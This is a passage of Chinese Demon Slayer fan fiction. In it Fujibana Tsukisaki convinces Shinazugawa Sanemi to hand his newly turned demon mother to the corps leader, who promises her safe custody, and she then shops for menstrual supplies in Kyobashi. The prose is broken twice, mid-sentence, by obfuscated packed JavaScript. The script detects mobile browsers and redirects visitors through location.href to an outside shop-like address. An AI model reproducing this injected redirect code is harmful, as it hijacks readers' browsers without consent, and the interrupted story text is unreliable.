寿奶奶说,唯有一只鬼的血液能使人变成鬼,那就是鬼王。 她感应到了鬼王。 若不是恰好撞见这位刚变成鬼的妇人,他们方才就会碰上了。 听完藤花月咲的解释,少年也逐渐冷静下来,“……我妈妈晚上会去火车站做清扫工作,但今天迟了很久都没回来,我就出来找,然后……” 接下来的事两人都知道了。 “抱歉,没能及时制止这件事,”藤花月咲不知道该怎么安慰少年,两人又沉默良久,她开口,“我会通知队里……” 话说到一半就被打断,“不可能!我不会让你们带走我妈妈,我妈妈没有吃过人!可鬼杀队都是猎鬼人,你们才不会管我妈妈有没有伤害过人,只知道她是鬼,就要被杀掉!” 说少年的妈妈没吃过人,这是实话。因为刚变完鬼就接连碰上藤花月咲和少年,压根没时间吃人,看嘴边和衣服都很干净,没有血迹,只有耳朵后面有一道抓痕。 藤花月咲猜测鬼王就是通过这道抓痕把血液输送给人类的。 而这位妇人目前为止造成的最大伤害,就是给她儿子的那一爪子,到现在伤口还在渗血。 呃,以及互殴后给藤花月咲弄出来的伤口,都是不严重的小擦伤,但令她看起来灰头土脸的,十分狼狈。 她觉得造成的心理阴影比身上的伤还大。 11. 第十一章 藤花月咲想站起来说话,那样看起来会更有气势,可惜两腿发软,半点力气也没有,只能双手撑地坐直一些。 “不好意思,我想问一下你家里有几间屋子?”她问。 少年愣了愣,低下头:“……一间。”白天当作起居室,晚上把被褥一铺就是卧室,全家都在一间屋子睡觉。 “家里还有其他人吗?” “还有……弟弟妹妹,老爸死了。” “唔,你妈妈变成了鬼,那么如今家里能外出挣钱的劳动力只剩下了你一个,”藤花月咲分析,“你是想让弟弟妹妹从早到晚都跟食人鬼共处一室吗?” 少年抱着妈妈的手臂一紧,“我妈妈不会吃人……” “是还没有吃人,”她在“还”字上加重音,让自己表情尽量冷酷,“你知道么,人变成鬼是一个痛苦且消耗巨大的过程,刚完成变化的鬼会迫切吃人来补充能量,比普通的鬼更有攻击性。而陷入极度饥饿状态的鬼,就算是亲生孩子也会杀死吃掉,因为营养价值很高。” 说完这段话,藤花月咲自己都感到生理性不适,但仍然接着说:“我知道你的想法,你想把你妈妈藏起来不让她见人,或许连弟弟妹妹都瞒着,甚至,你甘愿用自己的血肉去反哺她。可是你无法保证会发生什么,控制一只鬼不让她伤人,我认为比杀鬼还要困难很多很多。” 见少年沉默不语,她狠下心,报了一个方向,“你家应该是在这一片对吧?” “你怎么知道……”少年猛然明白了什么,即使是深夜也能察觉他一下脸色煞白。 “你妈妈两次被我拦截,逃脱后都是朝着你家的方向去,”藤花月咲暗自叹气,喉头一哽,“你必须承认,今晚若不是我们,你妈妈大概……” 这个她真说不出口,妈妈变鬼对少年的打击已经很大了,却还要面对血淋淋的事实,完全是在心口扎了一刀又一刀。 死寂的氛围太过令人窒息,藤花月咲转移话题,轻声道:“你妈妈一定是个很勤劳的人。” 才会大晚上出来工作,努力支撑家庭。 “……她白天要帮别人缝补清洗衣服,晚上要去打扫火车站,”少年抑制不住地流泪,无声无息,带上了沙哑的哭腔,“她明明个子那么小,连我都比她高了,却每天都非常辛苦……为什么、为什么?!” 他无能为力,不知道该控诉、指责谁,还不能哭得太大声引来警察和附近居民,狠狠咬住自己的拳头,口中瞬间充斥着血腥味。 “我想说,你妈妈是那么温柔的一个人,如果真的失去理智造成无法弥补的后果,等她清醒后能够接受吗?还能过上正常的生活吗?”藤花月咲明白的,善良的人总是不断审判自己,时刻备受煎熬,“只要她吃了一个人,就无法挽回了!” 半晌。 “……我妈妈还能过上正常的生活吗?”少年像是在喃喃自语,“我妈妈还能变回人吗?” “虽然现在还没法实现,但在未来的某一天一定可以的!”藤花月咲鼓励他,“你看啊,鬼既不会生病也不会老死,就算我们变成了老爷爷老奶奶,你妈妈还能继续等下去,总会有办法的!” 这另类的安慰听得少年一怔,但貌似又挺有道理,他犹豫片刻,“……我该怎么做?” 见他终于松口,藤花月咲长长地舒了一口气,“如果你相信我,我会给鬼杀队的主公写信,并且作证你妈妈还没有伤人,不该随意处决。主公会给出一个合适的解决方法的,有时候光凭自己无法解决一件事,也要适当地依靠大人才行。” 还是小孩子,独自背负那么多也太惨了。 少年:“你这么信任那个主公?” “当然!” 尽管过完年后她和主公也没信件来往,但藤花月咲就是有种莫名的信赖感,认为后者能做到很多事情。 由于她的表情太过明朗,少年迟疑后还是同意了。 藤花月咲伸出手:“达成一致?” 少年打量她伸来的手,不懂这是什么意思。 哦,握手似乎是西洋传来的礼节,这时候在平民之间还没那么流行。 藤花月咲改为抬起手臂,“一致?” 少年与她击掌,“嗯!” “好的,呃,首先我们要找一个没人会去的地方,暂时安置你妈妈,”藤花月咲扶着墙慢吞吞站起来,忽然想到一件事,“我的名字是藤花月咲,你叫什么?” “不死川实弥。” …… 不死川实弥对这一片十分了解,他背着小巧的妈妈在前面带路,避开警察的巡逻,藤花月咲紧跟在后,来到一间偏僻的茅草屋。 少年翻出钥匙,打开已经半坏了的锁,屋子里堆着一些工具,还有一辆推车。 “我平时会在街面上跑腿运货,这是店家的仓库,他把钥匙交给我,平时不会有人来的。” 角落里有半盏蜡烛,不死川实弥点了灯,总算有些许光线了,两人不至于摸黑商讨。 不死川夫人被放平在远离门窗的茅草堆上,用紫藤花香包捂住口鼻,又用绳子绑住手脚,保证她就算醒来也动不了。 “等会儿我回旅馆写信,虽然不知道主公宅邸在何处,但应该在东京范围内,快的话今天之内就能收到答复,”藤花月咲此刻才看清了对方的白发,跟锖兔一样是少见的发色,“问题是,你该怎么跟你弟弟妹妹说,要讲实话吗?” “不,”实弥摇摇头,“我不想让他们担惊受怕。” “好吧,那就需要想一个借口,让队员配合一下。” 两人嘀咕一阵,藤花月咲摇摇晃晃起身,“我先写信,等我回来你再去安弟弟妹妹的心。”轮流守着不死川夫人,以免有变故发生。 不死川实弥看着她披头散发、满脸灰尘、袖口撕裂甚至连鞋都没了的狼狈模样,突然有些羞愧。 “谢谢。”他说。 藤花月咲眨眨眼,看向他:“也谢谢你相信我。” …… 回到旅馆,藤花月咲敲了敲门,睡眼惺忪的老板娘来开门,看到她的样子顿时被吓醒了。 “您、您……您是被抢劫了吗?!”老板娘记挂着这位客人,怕伙计睡得太死听不到少女回来,所以亲自守夜。 可没想到出去前是个漂亮可爱的小仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897716|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,回来的时候差点认不出来! “咳,不小心摔到了坑里,”藤花月咲有点尴尬,讪笑道,“抱歉,借店里的灯笼弄丢了,可以扣押金。” “啊,那个不重要,您先去洗个澡换身衣服吧,我等会儿把热水送来。”老板娘去叫伙计烧水,问还有什么需要的。 藤花月咲借了纸笔,双手擦干净,把酝酿了一路的措词认真写下来。 写到一半,热水来了,她看看信纸又看看冒着热气的澡盆,决定先快速清洗一下。 对爱干净的人来说,她从有记忆开始就没这么脏过,已经忍了半天了! 全身整洁一新后,她用毛巾包住湿发,把剩下一半的信写完装进信封,推开房间窗户,吹了一声旋律特殊的口哨。 寂静的夜里,这声口哨格外悠长,传到了很远很远的地方。 不一会儿,一只体型很小的鎹鸦飞来,停在窗口,不看人,直勾勾地望向房间内桌子上的水果。 藤花月咲掰了一点苹果喂给它,把信封绑在鸟脚上,轻声说:“去吧,把信带给主公。” 鎹鸦飞走了,她看了下时间,冬天的夜晚很长,距离日出还有两小时左右。 她打了个迟来的哈欠,把剩下的苹果啃完,收拾一个小包袱,再向旅馆买了一双草鞋,在老板娘不解的眼神下又出门了。 返回茅草屋,不死川实弥远远听到脚步声就警惕地贴在门后,听到藤花月咲的声音才松开门把手,结果在看到对方时露出一脸“你谁”的表情。 藤花月咲:“……”不敢想她刚刚到底是有多脏。 “信送走了,你回去安抚弟弟妹妹吧,一晚上不见人,他们肯定担心坏了。”以前她熬夜复习后闷头大睡,她妹妹联系不上都是直接杀到她租的公寓里确认死活。 “好,我很快回来。” “不用太快,休息一下把伤口包扎好,”藤花月咲掏一掏包袱,递过去一个苹果,“我昨天买的,可脆可甜了。” 不死川实弥想拒绝,结果肚子非常不合时宜地响了起来。 他的脸唰一下爆红。 藤花月咲假装没听见,把苹果塞过去,找了一块干净的茅草坐下,蜡烛挪过来,用最舒服的姿势翻起了昨晚没看完的推理小说。 “……”不死川实弥揣着苹果,回头看了眼对方脚上与衣着不是一个风格的草鞋,关上了门。 这一去,直接到了天亮。 藤花月咲把推理小说一口气给看完了,伸了伸懒腰,活动一下脖子。 “哒哒哒。” 有细微的动静,像是有动物在啄门。 她悄悄把门开了一个缝,就见一只小鎹鸦从门缝挤了进来,抬腿亮出一封信。 诶?她才寄出信两三个小时吧?这就回信了?! 按照藤花月咲的预想,这种时间段寄出的信件,主公怎么也得起床后才会查阅。 可这速度,难不成是信一送到主公就看了? 她没有立刻拆开看,捏着信封时不时往外瞧。 等不死川实弥一回来,她连忙招手,“快来,主公回信了,我读给你听!” 12.第十二章 听到主公回信了,不死川实弥加快脚步进屋,挡在妈妈身前的位置坐下,确认一丝一缕的阳光都无法靠近。 随后从身侧腰带上解开用草绳绑住的什么东西,轻轻摆在藤花月咲脚边,“这个、是你的吧?” 是她追鬼时半路踢飞的小皮靴。 “啊,是的!”看着这双被擦拭过、连鞋底都干干净净的小皮靴,藤花月咲不由意外,“你是在哪里找到的?” 实弥别过脸:“就在你说你遇到我妈妈的巷子附近,挺好找的。如果等早上大家都起来干活了,一定会被捡走的。” 原来他之前提过一嘴问在哪里遇到的他妈妈,是为了这个。 藤花月咲换回小皮靴,顿时觉得双脚暖和多了,“谢谢!” 接着拆开主公的信件,不死川实弥只认识几个简单的常用字,便盯着信纸很用心地听着。 先是一句惯例的问候,然后感谢藤花月咲抓住了鬼王的踪迹,他会派遣队员前去调查,希望到时能够提供线索和帮助。 关于不死川夫人的事,他请两人放心,“刚变成鬼还没吃人就被发现”的例子,鬼杀队成立数百年来也碰到过几次,这是鬼王为了摆脱追兵常用的手段。 遇到这种情况,鬼杀队会派遣事后处理部队——隐过去处理,只要证实当晚确实没有发生鬼伤人事件,就会把不死川夫人带到一个隐蔽又安全的地方,确保她不会跑出来。 不死川实弥作为亲人可以定期前去看望,而由于被无辜卷入,产屋敷家会支援一笔钱作为他们接下来生活的资金。 这是每个遭受恶鬼袭击、承担无妄之灾的家庭都有的,请不要有所负担,非常抱歉没能及时阻止这件事的发生。 隐部队也会按照不死川实弥所期望的帮忙掩饰,不让他的弟弟妹妹知道真相。 “……若是仍有遗漏,请不要吝于联系,产屋敷一族恳切等候你们的来信。” 读完最后一句,藤花月咲看向不死川实弥:“这下能够放心了吗?” 白发少年转身望着昏迷的妈妈,握住她小小的、指甲锐利的手,冰冰凉凉的,“……嗯。” 藤花月咲把信塞到他怀里,后者疑惑地抬眉。 “等你哪天认识了足够多的字,就自己再读一遍吧。” 不死川实弥有些惊讶,随即更多的是不好意思——被她看出来了。 刚才她读信的时候,自己一直在心里默默对照信的字数和她读的字数,确保她说的就是信件的内容。 他真的很害怕主公写的其实根本不是这么一回事,是面前的少女为了安慰他而编织出的一个谎言。 见他把信小心地收好,藤花月咲问:“你弟弟妹妹怎么样了?” “嘛,姑且是都哄睡着了。” “你有几个弟弟妹妹呀?” “六个,两个妹妹,四个弟弟。” “好多!”藤花月咲那个时代已经很少见到这样的大家口了,但如今来看似乎也算寻常,“你有打算送他们去上学吗?” 想过,不死川实弥当然想过供弟弟妹妹去上学,只要能读书,未来随便找一个工作,都不会像这样辛苦地生活了。 以前是没有钱,现在…… 他抿抿唇,没有多说。 隐部队抵达得非常迅速,两人闲聊没一会儿就到了,包裹得严严实实的隐成员将不死川夫人抱进了一辆特制的推车当中。 这辆推车外型更像是一个有轮子的大木箱,可以盖上,硬木钉得很密,结实又不透光。 推车中放了几簇新鲜的紫藤花——明明不是花期,是从哪儿摘来的? 不过听锖兔说过,最终选拔的山上就是一年到头都盛开着紫藤花,或许这样的地方还有几处。 隐部队成员把紫藤花香包还给她,藤花月咲也不管上面沾了口水,仔细地重新在腰带上系紧。 经历过昨晚,她更深刻地认识到了这是个能保命的东西,如果不是香包给的底气,她肯定不敢第一时间就冲上去追鬼。 隐部队的人还需要调查一段时间,藤花月咲拉走不死川实弥:“陪我逛一逛?” “你要去哪里?” “跟我走就好了。” 藤花月咲晒着太阳,觉得昨晚造成的心理阴影都被驱散了,“你说自己平时会在街面上跑腿运货是么。” “有时候还帮忙算账,”不死川实弥走在她身后半步,回答,“我会打算盘。” “诶,很厉害啊,那你会打架吗?” “……老爸死掉前跟他掐过几次。” 感觉这对父子关系非常差的样子。 藤花月咲:“我没别的意思,就是觉得你昨晚打架还挺聪明的,不像是生手。” 像她,虽然练过空手道,可一碰上生死关头的实战就大脑一片空白,什么招数都想不起来,手忙脚乱的。 但不死川实弥昨晚第一次遇到鬼就能暂时打得不相上下,什么撒沙子、钉衣服,很……接地气,却也很管用。 他还自学了打算盘,要是能有机会去学校,一定是个成绩优秀的学生。 两人又走到京桥区的繁华地带,藤花月咲来到一家后世都有名的药局前停下,让不死川实弥在门口稍等,自己推门进去。 戴着眼镜的女药师在柜台后抬头:“欢迎光临,请问需要什么?” “我想买月经带。” 没错,昨晚逛街时藤花月咲就看到这家药局贴着售卖月经带的海报,可惜路过得太晚,药局已经打烊了。 被海报一提醒,她也想起来,自己变小后还没来过月经,可迟早是要来的。 不光她会来月经,寿奶奶会来,女队员也会来。 鬼杀队里女性的人数相比男性要少很多,但也是有的,她这半年同样招待过一些。 然而如今绝大部分女性,在月经期间用的都是自制的布条……不仅不那么卫生、吸水性差、手感粗糙,还容易掉落,穿上后不能有大幅度动作,非常麻烦。 如果有改良后的月经带,行动就方便多了。 女药师取出三款药局售卖的月经带,“有特等品、甲等品、乙等品三种。” 藤花月咲认真听对方一一介绍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902280|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么说呢,质量上肯定是特等品最好,胶皮和绒布都是进口的,手感好、不渗漏,用于固定的纯铜别针也不会生锈,能够用2到3年。 但好贵,125钱,能买两条乙等品了,寿奶奶给的经费加上她自己的存款都不够买几条。 乙等品最便宜,才55钱。可质量就、一般般吧,绒布摸起来不太透气,针脚也比较零散,感觉很容易撕扯破裂。采用的则是易生锈的铁别针,还不附带内衬棉片。 听到女药师说乙等品的使用寿命不足一年,藤花月咲就果断pass了。 最后折中选择了性价比最高的甲等品,85钱,质量还算不错,够用了。 又花50钱买了三两脱脂棉,回去后可以自制替换的棉片,清洗后晒干就能重复使用。 藤花月咲当然想用更加便捷、卫生的一次性卫生巾,但条件不允许啊! 等下回有女队员来,就把月经带推荐给她们。 把买的东西放进包袱里装好,藤花月咲推门出店,看到不死川实弥靠在墙边踢着小石子,“久等啦,我买完东西了。” “也没多久,”不死川实弥没问她买了什么,“还有要去的地方吗?” “接下来去你家。” “……?” 不死川实弥扭头,怀疑是不是自己耳朵听错了。 “没听错,就是去你家,”藤花月咲理直气壮,“不欢迎吗?” “我家没什么好看的。” “没事,我也不是为了看你家里长什么样才去的,”她耸耸肩,“总得有人出面跟你弟弟妹妹解释吧,否则光靠你一个人的说法,他们真的会信?” 隐部队的人不会暴露长相,所以正式出面还得她来。 不死川实弥无法反驳,只得带路。 路过一家店面较大的和果子店,藤花月咲把他拉进去挑选点心——第一次上别人家拜访总得带点东西才有礼貌嘛。 她挑了金团、红豆大福、茶馒头,看向边上的人,“有你喜欢的点心吗?” 不死川实弥扫了一眼,双手揣在宽袖里,“不用管我。” 藤花月咲往他扫的地方看了看,琢磨一下,“老板,还要两个萩饼,红豆和豆沙馅各拿一个。” 不死川实弥:“……” 让老板把买来的点心稍微包装一下,藤花月咲把纸盒递给少年,“你干嘛不好意思,小孩子爱吃甜的多正常啊。” 小孩子……! 可恶,在这家伙面前,不死川实弥总是莫名觉得长男的自尊摇摇欲坠。 他瞪着对方:“你多大?” 藤花月咲困惑,开口道:“唔,13岁。” 同龄么。 实弥顿了顿:“生日是几月?” “八月啊。” 他不说话了。 藤花月咲懂了,他的生日月份肯定比自己要晚。 有必要比年龄么,光是在这种地方较劲就已经显得很幼稚了啊! 她努力忍住笑意,推推对方的肩膀,“好了,快走吧,隐部队那边应该处理得差不多了。”